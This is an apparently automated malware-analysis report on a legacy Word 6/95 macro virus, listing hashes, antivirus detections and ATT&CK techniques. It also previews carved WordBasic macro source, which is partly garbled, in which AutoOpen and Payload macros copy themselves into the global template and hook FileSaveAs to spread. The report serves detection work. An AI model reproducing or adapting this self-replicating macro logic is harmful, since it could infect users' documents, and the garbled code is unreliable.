Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b2a36c64c0185067…

MALICIOUS

Office (OLE)

6.5 KB First seen: 2017-06-27
MD5: 4db0d8c0f6fa9d0fa7e2de7fdf0cef9b SHA-1: 33179edfc878bfaf2d41a7187814f980324cc6a9 SHA-256: b2a36c64c0185067c24fb9f1f4214bf6c6c3ad9fd20fb29b49d8b4784ccff68d
102 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample exhibits characteristics of a legacy macro virus, specifically identified by 'RSN MACRO VIRUS' markers within its document body and a heuristic firing for OLE_LEGACY_WORDBASIC_MACRO_VIRUS. The presence of 'AutoOpen' and 'Payload' suggests an intent to execute malicious code upon opening the document, typical of a macro-based attack. While no specific family is identified, the techniques point towards a classic macro-based malware delivery.

Heuristics 3

  • ClamAV: Win.Trojan.Imposter-6 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Imposter-6
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 489 bytes
SHA-256: 2af3f6df0ee6fa38e6bf425c7e6b71b016048149e5c656bc89d07f4ac8c7d5bb
Preview script
First 1,000 lines of the extracted script
= 24943
        357 =
MAIN
, - * Abort
dlg @cmd0054
dlg
dlg
dlg = 0 dlg = 1
Me$ = @cmd8025
Macro$ = Me$ = ":Payload"
@cmd80c2 "Global:FileSaveAs" , Macro$
Macro$ = Me$ = ":AutoOpen"
@cmd80c2 "Global:Payload" , Macro$
Err 102 @cmd0054 dlg
MAIN
, - * Abort
Installed = 0
I = 1 @cmd80b7 0 , 0
@cmd80b8 I , 0 , 0 = "PayLoad" Installed = 1
Installed = 0
Me$ = @cmd8025
Macro$ = Me$ = ":Payload"
@cmd80c2 Macro$ , "Global:FileSaveAs"
Macro$ = Me$ = ":AutoOpen"
@cmd80c2 Macro$ , "Global:Payload"

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